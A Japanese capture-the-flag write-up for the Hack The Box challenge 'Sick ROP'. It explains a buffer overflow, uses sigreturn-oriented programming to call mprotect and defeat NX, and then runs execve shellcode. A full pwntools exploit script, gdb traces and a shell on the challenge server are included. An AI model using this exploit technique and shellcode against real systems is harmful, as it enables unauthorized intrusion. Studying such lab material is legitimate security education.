SROPとNX enabledの回避

Hack The Boxのチャレンジ「Sick ROP」(一つ前の記事はこのため)。

SROPによる攻撃、sys_mprotectを呼び出してNX enabledの回避、そしてシェルコードを注入してシェルを起動する。

プログラムの概要

checksec

$ checksec ./sick_rop
[*] '/home/shoebill/SickROP/sick_rop'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

「NX enabled」なので、スタックにシェルコードを積んでそれを実行したりはできない。gdbvmmapコマンドでパーミッションを確認すると

gdb-peda$ vmmap
Start              End                Perm  Name
0x00400000         0x00401000         r--p  /home/shoebill/SickROP/sick_rop
0x00401000         0x00402000         r-xp  /home/shoebill/SickROP/sick_rop
0x00007ffff7ff9000 0x00007ffff7ffd000 r--p  [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 r-xp  [vdso]
0x00007ffffffde000 0x00007ffffffff000 rw-p  [stack]

ディスアセンブルして動きをみる

gdb-peda$ disas _start
Dump of assembler code for function _start:
   0x000000000040104f <+0>:   call   0x40102e <vuln>
   0x0000000000401054 <+5>:   jmp    0x40104f <_start>
End of assembler dump.
gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x000000000040102e <+0>:   push   rbp
   0x000000000040102f <+1>:   mov    rbp,rsp
   0x0000000000401032 <+4>:   sub    rsp,0x20
   0x0000000000401036 <+8>:   mov    r10,rsp
   0x0000000000401039 <+11>:  push   0x300
   0x000000000040103e <+16>:  push   r10
   0x0000000000401040 <+18>:  call   0x401000 <read>
   0x0000000000401045 <+23>:  push   rax
   0x0000000000401046 <+24>:  push   r10
   0x0000000000401048 <+26>:  call   0x401017 <write>
   0x000000000040104d <+31>:  leave  
   0x000000000040104e <+32>:  ret    
End of assembler dump.

vuln関数を繰り返し実行するという単純なもの。そしてvuln関数の中ではread関数で入力されたものをwrite関数で出力してる。

Ghidraによるvuln関数のデコンパイル結果:

void vuln(int param_1,void *param_2,size_t param_3)

{
  size_t __n;
  
  read(param_1,param_2,param_3);
  write(param_1,param_2,__n);
  return;
}

vulnに与えたパラメータを使ってreadwriteを実行してる)

SROPで攻撃する

ガジェットについて

ガジェットは限られており単純なROPではうまくいかなそう:

{4198477: Gadget(0x40104d, ['leave', 'ret'], ['rbp', 'rsp'], 0x2540be407),
 4198422: Gadget(0x401016, ['ret'], [], 0x8),
 4198420: Gadget(0x401014, ['syscall', 'ret'], [], 0x8)}

しかし、syscallガジェットがあることに注目する。

bof脆弱性がある

0x20バイトだけ入力バッファのサイズをとっているが、実際はread関数で0x300分のサイズを用意してる。

bofについて詳しく

read関数にブレイクポイントを打って、readがsyscallされる直前までステップ実行すると

gdb-peda$ b *vuln+18
gdb-peda$ r
gdb-peda$ si
gdb-peda$ ni # niを4回
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x0 
RDX: 0x300 
RSI: 0x7fffffffde40 --> 0x0 
RDI: 0x0 
RBP: 0x7fffffffde60 --> 0x0 
RSP: 0x7fffffffde28 --> 0x401045 (<vuln+23>:   push   rax)
RIP: 0x401014 (<read+20>: syscall)
R8 : 0x0 
R9 : 0x0 
R10: 0x7fffffffde40 --> 0x0 
...
[-------------------------------------code-------------------------------------]
   0x401005 <read+5>: mov    edi,0x0
   0x40100a <read+10>:    mov    rsi,QWORD PTR [rsp+0x8]
   0x40100f <read+15>:    mov    rdx,QWORD PTR [rsp+0x10]
=> 0x401014 <read+20>: syscall 
   0x401016 <read+22>:    ret    
   0x401017 <write>:  mov    eax,0x1
   0x40101c <write+5>:    mov    edi,0x1
   0x401021 <write+10>:   mov    rsi,QWORD PTR [rsp+0x8]
Guessed arguments:
arg[0]: 0x0 
arg[1]: 0x7fffffffde40 --> 0x0 
arg[2]: 0x300 
...

arg[2]read関数の読み取るサイズであり、0x300と分かる。

リターンアドレスまでのオフセットを求める

入力バッファのサイズが0x20ということがディスアセンブル結果からわかる。そしてリターンアドレスはrbpから0x8バイト上位にオフセットした位置にあるから、リターンアドレスまでのオフセットは0x28(=40)とわかる。

gdbで入力バッファからrbpまでのオフセットを求めると(pattc 50の出力を入力)

RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffde48 ("AA0AAFAAbA\n")
RIP: 0x40104e (<vuln+32>: ret)
R8 : 0x0 
R9 : 0x0 
R10: 0x7fffffffde20 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA\n")
...
[-------------------------------------code-------------------------------------]
   0x401046 <vuln+24>:    push   r10
   0x401048 <vuln+26>:    call   0x401017 <write>
   0x40104d <vuln+31>:    leave  
=> 0x40104e <vuln+32>: ret    
   0x40104f <_start>: call   0x40102e <vuln>
   0x401054 <_start+5>:   jmp    0x40104f <_start>
   0x401056:    add    BYTE PTR [rax],al
   0x401058:    add    BYTE PTR [rax],al
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde48 ("AA0AAFAAbA\n")
0008| 0x7fffffffde50 --> 0xa4162 ('bA\n')
0016| 0x7fffffffde58 --> 0x7fffffffe1ea ("/home/shoebill/SickROP/sick_rop")
...
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040104e in vuln ()
gdb-peda$ patto A)AAEAAa
A)AAEAAa found at offset: 32
       +--------------------+
       |                    |
       |                    |
       |                    |
-0x20  |        buf         |
       |                    |
       |                    |
       |                    |
       +--------------------+
       |                    |
       |     saved rbp      |
       |                    |
       +--------------------+
       |                    |
+0x8   |       retaddr      |
       |                    |
       +--------------------+

ガジェットが少ない、bofの脆弱がある、スタックのスペースにも余裕がある(0x300バイト)。そこでSROPによる攻撃を行う。

SROPに際し解決すべき2つの問題

  • pop raxのガジェットがない
  • "/bin/sh"の文字列がバイナリに含まれていない

ガジェットの問題

sigreturnを発生させるためには、raxレジスタにsys_sigreturnのシステムコール番号である0xfを格納する必要がある。

ここで、次の2つの事が重要:

  • write関数の戻り値は、書き出したバイト数である
  • 関数の返り値はraxレジスタに格納される

今回のプログラムでは、writeが書き出すバイト数はその前にあるreadが読み込むバイト数である。

もっというと、それらはvuln関数に与える引数のバイト数および返り値である(上のvuln関数のデコンパイル結果を参照)。

なのでraxレジスタに格納する値を制御できる!

write関数の直後にあるret命令にブレクポイントを打って5文字与えた様子:

gdb-peda$ b *vuln+32
gdb-peda$ r
aaaaa
...
[----------------------------------registers-----------------------------------]
RAX: 0x6 
RBX: 0x0 
RCX: 0x40102d (<write+22>:    ret)
RDX: 0x6 
RSI: 0x7fffffffde40 --> 0xa6161616161 ('aaaaa\n')
RDI: 0x1 
RBP: 0x0 
RSP: 0x7fffffffde68 --> 0x401054 (<_start+5>:  jmp    0x40104f <_start>)
RIP: 0x40104e (<vuln+32>: ret)
R8 : 0x0 
R9 : 0x0 
R10: 0x7fffffffde40 --> 0xa6161616161 ('aaaaa\n')
R11: 0x202 
R12: 0x0 
R13: 0x0 
R14: 0x0 
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401046 <vuln+24>:    push   r10
   0x401048 <vuln+26>:    call   0x401017 <write>
   0x40104d <vuln+31>:    leave  
=> 0x40104e <vuln+32>: ret    
   0x40104f <_start>: call   0x40102e <vuln>
   0x401054 <_start+5>:   jmp    0x40104f <_start>
   0x401056:    add    BYTE PTR [rax],al

\nが末尾に付くので、与えた文字数+1がraxレジスタに格納される点に注意。

文字列の問題

バイナリ中に"/bin/sh"の文字列がないので、/bin/shを実行するシェルコードをスタックに置いてそれを実行させる。

msfvenomを使ってシェルコードを生成:

$ msfvenom -p linux/x64/exec -f python
...
buf =  b""
buf += b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54"
buf += b"\x5f\x52\x5e\x6a\x3b\x58\x0f\x05"

しかし、「NX enabled」なのでスタックにおいたシェルコードを実行することはできない。そこで登場するのがsys_mprotect

sys_mprotectでNX enabeldを回避

sys_mprotectはメモリ領域のアクセス許可を制御するシステムコールシステムコール番号は10)。

int mprotect(const void *addr, size_t len, int prot);

区間[addr ,addr +len -1]の一部またはすべてを含むメモリページのアクセス保護を指定する。

exploitでは第3引数に7番(Read・Write・Executionの全てを許可する意味)を指定する。

第1引数、つまりその許可を設定する場所のアドレスはバイナリスタート位置の0x400000を指定する(最初に示したvmmapコマンドの出力を参照)。

ちなみに、sys_mprotectはsigreturnを利用して呼び出す。

kazmax.zpp.jp

exploit

#!/usr/bin/env python3
from pwn import *

bin_file = './sick_rop'
context.binary = bin_file
binf = ELF(bin_file)

addr_vuln = binf.symbols['vuln']
addr_vuln_ptr = 0x4010d8
writable_segment = 0x400000

rop = ROP(binf)
syscall_ret = rop.syscall.address

shellcode =  b''
shellcode += b'\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54'
shellcode += b'\x5f\x52\x5e\x6a\x3b\x58\x0f\x05'

addr_shellcode = 0x4010e8

def attack(conn, **kwargs):
    frame = SigreturnFrame()
    frame.rax = constants.SYS_mprotect
    frame.rdi = writable_segment
    frame.rsi = 0x10000
    frame.rdx = 0x7
    frame.rsp = addr_vuln_ptr
    frame.rip = syscall_ret

    payload_1 = b'a' * (0x20 + 0x8)
    payload_1 += p64(addr_vuln)
    payload_1 += p64(syscall_ret)
    payload_1 += bytes(frame)

    conn.sendline(payload_1)
    conn.recvline()

    payload_2 = b'b' * (0xf - 0x1)
    conn.sendline(payload_2)
    conn.recvline()

    # spawn a shell
    payload_3 = b'c' * (0x20 + 0x8)
    payload_3 += p64(addr_shellcode)
    payload_3 += shellcode
    conn.sendline(payload_3)

def main():
    conn = process(bin_file)
    attack(conn)
    conn.interactive()

if __name__ == '__main__':
    main()

※ いちいち書いてるconn.recvline()は必要

sigreturnとsys_mprotect

SROPでsys_mprotectを起動してメモリページのパーミッションを変更する。

そのためにbof脆弱性を使ってる。ここのbofがいつものbofと少し違う感じがして戸惑った。

bofについて

payload_1 = b'a' * (0x20 + 0x8)
payload_1 += p64(addr_vuln)
payload_1 += p64(syscall_ret)
payload_1 += bytes(frame)

conn.sendline(payload_1)
conn.recvline()

リターンアドレスをvuln関数のアドレスにして、まずvuln関数に飛ばす。

その時、後ろにはsyscallガジェットとsigframeが続く:

+--------------------+
|                    |
|      aaaaaaa       |
|         .          |
|         .          |
|         .          |
|      aaaaaaa       |
|                    |
+--------------------+
|                    |
|      addr_vuln     |
+--------------------+
|                    |
|       syscall      |
+--------------------+
|                    |
|                    |
|                    |
|                    |
|       frame        |
|                    |
|                    |
|                    |
+--------------------+

conn.sendline(payload_1)の次の行にgdb.attach(conn)と書いて実行する。それでpayload_1を送った直後のスタックの様子をgdbでみると...
(以降にあるsigframeの様子も併せてみるとわかりやすい)

0000| 0x7ffd3cb953e0 --> 0x401045 (<vuln+23>:   push   rax)
0008| 0x7ffd3cb953e8 --> 0x7ffd3cb953f8 ('a' <repeats 40 times>, "\024\020@")
0016| 0x7ffd3cb953f0 --> 0x300 
0024| 0x7ffd3cb953f8 ('a' <repeats 40 times>, "\024\020@")
0032| 0x7ffd3cb95400 ('a' <repeats 32 times>, "\024\020@")
0040| 0x7ffd3cb95408 ('a' <repeats 24 times>, "\024\020@")
0048| 0x7ffd3cb95410 ('a' <repeats 16 times>, "\024\020@")
0056| 0x7ffd3cb95418 ("aaaaaaaa\024\020@")
0064| 0x7ffd3cb95420 --> 0x401014 (<read+20>:  syscall)
0072| 0x7ffd3cb95428 --> 0x0 
0080| 0x7ffd3cb95430 --> 0x0 
0088| 0x7ffd3cb95438 --> 0x0 
0096| 0x7ffd3cb95440 --> 0x0 
0104| 0x7ffd3cb95448 --> 0x0 
0112| 0x7ffd3cb95450 --> 0x0 
0120| 0x7ffd3cb95458 --> 0x0 
0128| 0x7ffd3cb95460 --> 0x0 
0136| 0x7ffd3cb95468 --> 0x0 
0144| 0x7ffd3cb95470 --> 0x0 
0152| 0x7ffd3cb95478 --> 0x0 
0160| 0x7ffd3cb95480 --> 0x0 
0168| 0x7ffd3cb95488 --> 0x0 
0176| 0x7ffd3cb95490 --> 0x400000 --> 0x10102464c457f 
0184| 0x7ffd3cb95498 --> 0x10000 
0192| 0x7ffd3cb954a0 --> 0x0 
0200| 0x7ffd3cb954a8 --> 0x0 
0208| 0x7ffd3cb954b0 --> 0x7 
0216| 0x7ffd3cb954b8 --> 0xa ('\n')
0224| 0x7ffd3cb954c0 --> 0x0 
0232| 0x7ffd3cb954c8 --> 0x4010d8 --> 0x40102e (<vuln>: push   rbp)
0240| 0x7ffd3cb954d0 --> 0x401014 (<read+20>:  syscall)
0248| 0x7ffd3cb954d8 --> 0x0 
0256| 0x7ffd3cb954e0 --> 0x33 ('3')
0264| 0x7ffd3cb954e8 --> 0x0 
0272| 0x7ffd3cb954f0 --> 0x0 
0280| 0x7ffd3cb954f8 --> 0x0 

このpayload_1をプログラムに与えるとvuln関数に実行が移り、再び入力待ちになる。

そこにpayload_2を入力する:

payload_2 = b'b' * (0xf - 0x1)
conn.sendline(payload_2)
conn.recvline()

これによりvuln関数の返り値が0xfとなり、raxレジスタに0xfが格納される。

そしてretするとその後にあるsyscallガジェットのおかげでsys_rt_sigreturnが実行される。

(そしてそのsys_rt_sigreturnが実行されるとsys_mprotectが実行される)

sigframeについて

sys_mprotectのためのレジスタ値を設定する:

frame = SigreturnFrame()
frame.rax = constants.SYS_mprotect
frame.rdi = writable_segment
frame.rsi = 0x10000
frame.rdx = 0x7
frame.rsp = addr_vuln_ptr
frame.rip = syscall_ret

次のpayload_3の入力を行うために、この次もまたvuln関数を実行する。

vuln関数に飛ぶために、rspレジスタにはvuln関数のアドレスではなく、vulnをポイントしてるポインタのアドレスを指定する。
(そもそもrspレジスタはスタックポインタと呼ばれ、スタックの先頭をポイントしてる)

新たに関数を呼ぶと新しくスタックフレームが作られるので、直接vuln関数のアドレスではなくvuln関数をポイントしてるポインタのアドレスを指定。

vuln関数へのポインタのアドレスは、gdbfindコマンドにvuln関数のアドレスを指定して実行するとみつかる:

gdb-peda$ find 0x40102e
Searching for '0x40102e' in: None ranges
Found 1 results, display max 1 items:
sick_rop : 0x4010d8 --> 0x40102e (<vuln>:   push   rbp)

sigframeの様子:

{'uc_flags': 0,
 '&uc': 0,
 'uc_stack.ss_sp': 0,
 'uc_stack.ss_flags': 0,
 'uc_stack.ss_size': 0,
 'r8': 0,
 'r9': 0,
 'r10': 0,
 'r11': 0,
 'r12': 0,
 'r13': 0,
 'r14': 0,
 'r15': 0,
 'rdi': 4194304,  # == 0x400000
 'rsi': 65536,      # == 0x10000
 'rbp': 0,
 'rbx': 0,
 'rdx': 7,
 'rax': Constant('SYS_mprotect', 0xa),
 'rcx': 0,
 'rsp': 4198616,  # == 0x4010d8
 'rip': 4198420,   # == 0x401014
 'eflags': 0,
 'csgsfs': 51,
 'err': 0,
 'trapno': 0,
 'oldmask': 0,
 'cr2': 0,
 '&fpstate': 0,
 '__reserved': 0,
 'sigmask': 0}

パーミッションを確認

sigreturnが実行されると、上記のように設定したsigframeによってsys_mprotectが実行される。

このタイミングでメモリページのパーミッションgdbで確認してみる。

...
conn.sendline(payload_2)
conn.recvline()
gdb.attache(conn)  # この一行を挿入
...

この一行を入れてやればこのタイミングでgdbが起動する。そこでvmmapコマンドを実行すると、たしかにRWXが許可されてる:

シェルコード実行

リターンアドレスを、シェルコードの置いてある場所のアドレスに書き換える。

payload_3 = b'c' * (0x20 + 0x8)
payload_3 += p64(addr_shellcode)  # addr_shellcode = 0x4010e8
payload_3 += shellcode
conn.sendline(payload_3)

シェルコードはどこにあるのか?

スタックのどっかにある。そこで再びgdbにアタッチして探す。

payload_3gdbのアタッチ箇所を次のように設定してexploitを実行する:

(適当なリターンアドレスを設定しておかないと「そのようなプロセスはありません」と言われgdbが使えないのでここではvuln関数のアドレスを指定しておく)

...
payload_3 = b'c' * (0x20 + 0x8)
payload_3 += p64(addr_vuln)
payload_3 += shellcode
conn.sendline(payload_3)
gdb.attach(conn)
...

gdbが起動する:

[-------------------------------------code-------------------------------------]
   0x40100a <read+10>:    mov    rsi,QWORD PTR [rsp+0x8]
   0x40100f <read+15>:    mov    rdx,QWORD PTR [rsp+0x10]
   0x401014 <read+20>:    syscall 
=> 0x401016 <read+22>: ret    
   0x401017 <write>:  mov    eax,0x1
   0x40101c <write+5>:    mov    edi,0x1
   0x401021 <write+10>:   mov    rsi,QWORD PTR [rsp+0x8]
   0x401026 <write+15>:   mov    rdx,QWORD PTR [rsp+0x10]
[------------------------------------stack-------------------------------------]
0000| 0x4010a8 --> 0x401045 --> 0xffffffcae8524150 
0008| 0x4010b0 --> 0x4010c0 ('c' <repeats 40 times>, "H\270/bin/sh")
0016| 0x4010b8 --> 0x300 
0024| 0x4010c0 ('c' <repeats 40 times>, "H\270/bin/sh")
0032| 0x4010c8 ('c' <repeats 32 times>, "H\270/bin/sh")
0040| 0x4010d0 ('c' <repeats 24 times>, "H\270/bin/sh")
0048| 0x4010d8 ('c' <repeats 16 times>, "H\270/bin/sh")
0056| 0x4010e0 ("ccccccccH\270/bin/sh")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0000000000401016 in read ()
gdb-peda$

スタックを多めに表示すると

gdb-peda$ stack 20
0000| 0x4010a8 --> 0x401045 --> 0xffffffcae8524150 
0008| 0x4010b0 --> 0x4010c0 ('c' <repeats 40 times>, "H\270/bin/sh")
0016| 0x4010b8 --> 0x300 
0024| 0x4010c0 ('c' <repeats 40 times>, "H\270/bin/sh")
0032| 0x4010c8 ('c' <repeats 32 times>, "H\270/bin/sh")
0040| 0x4010d0 ('c' <repeats 24 times>, "H\270/bin/sh")
0048| 0x4010d8 ('c' <repeats 16 times>, "H\270/bin/sh")
0056| 0x4010e0 ("ccccccccH\270/bin/sh")
0064| 0x4010e8 --> 0x732f6e69622fb848 
0072| 0x4010f0 --> 0x5e525f5450990068 
0080| 0x4010f8 --> 0xa050f583b6a 
0088| 0x401100 --> 0x1001000000019 
0096| 0x401108 --> 0x402000 ('')
0104| 0x401110 --> 0x0 

アドレス0x4010e0の途中で"c"が終わってそこから何かが続いてる。

その部分をもっと細かくみるために、1バイトずつ表示してみる:

gdb-peda$ x/20bx 0x4010e0
0x4010e0:   0x63    0x63    0x63    0x63    0x63    0x63    0x63    0x63
0x4010e8:   0x48    0xb8    0x2f    0x62    0x69    0x6e    0x2f    0x73
0x4010f0:   0x68    0x00    0x99    0x50

シェルコードの本体\x48\xb8\x2f\x62\x69\x6e...と照らし合わせてみると、シェルコードは0x4010e8から始まっているとわかる。

なのでaddr_shellcode = 0x4010e8

サーバへ侵入

┌──(shoebill㉿shoebill)-[~/SickROP]
└─$ ./exploit.py
[*] '/home/shoebill/SickROP/sick_rop'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 3 cached gadgets for './sick_rop'
[+] Opening connection to 167.99.202.193 on port 30786: Done
[*] Switching to interactive mode
bbbbbbbbbbbbbb
cccccccccccccccccccccccccccccccccccccccc\xe8@\x00\x00\x00\xb8/bin/sh\x00PT_R^j;X\x0f
$ id
uid=999(ctf) gid=999(ctf) groups=999(ctf)

自分でexploitを書いて、それ使ってサーバへ侵入するこの感じがpwnの醍醐味。だから難しいけど嫌いになれない。

ハッカーおたくの俺は映画whoamiの次のシーンを思い出した:

youtu.be

わざわざlog.info('pwned! Go ahead...)とか書きたくなった。

他の人のwriteup